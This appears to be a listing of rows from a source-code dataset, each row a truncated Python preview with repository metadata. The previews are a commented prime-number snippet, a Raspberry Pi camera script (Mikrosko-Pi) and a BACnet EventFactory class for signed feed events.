# import numpy as np # import math import datetime # et = datetime.datetime.now() # def is_prime(n): # if n % 2 == 0 and n > 2: # return False # return all(n % i for i in range(3, int(math.sqrt(n)) + 1, 2)) # a = np.arange(1, 10**2) # foo = np.vectorize(is_prime) # pbools = foo(a) # primes = np.extrac...
25.298507
103
0.588791
dc8fceafee169899d69689c25b80a9c573e2fdb9
13,622
py
Python
ZIP Archive/TAR Archive/home/pi/tarpi994.py
White-SAndS/Mikrosko-Pi
74baa1a8b08324d84e1f39be14b9d026a79d8b8b
[ "Unlicense" ]
null
null
null
ZIP Archive/TAR Archive/home/pi/tarpi994.py
White-SAndS/Mikrosko-Pi
74baa1a8b08324d84e1f39be14b9d026a79d8b8b
[ "Unlicense" ]
null
null
null
ZIP Archive/TAR Archive/home/pi/tarpi994.py
White-SAndS/Mikrosko-Pi
74baa1a8b08324d84e1f39be14b9d026a79d8b8b
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python3 version = 0.994 import sys, os, shelve, subprocess, time import curses #from time import sleep from picamera import PiCamera from picamera import Color os.system("clear") os.system("setleds -D +num") #resuls = subprocess.Popen(['fbset -s'], shell=True, stdout=subprocess.PIPE).communicate()[0...
41.154079
277
0.576567
bff47a1d0d9d95abb852ba79c24bbae65b891998
3,129
py
Python
21-fs-ias-lec/03-BACnetCore/src/core/storage/event_factory.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
21-fs-ias-lec/03-BACnetCore/src/core/storage/event_factory.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
21-fs-ias-lec/03-BACnetCore/src/core/storage/event_factory.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
from ..security.crypto import calculate_hash, calculate_signature from ..interface.event import Event, Meta, Content class EventFactory: """ This class serves as a factory to create Events for arbitrary Feeds. """ # These are the currently supported signing/hashing algorithms. Contact us if you need a...
48.890625
115
0.707255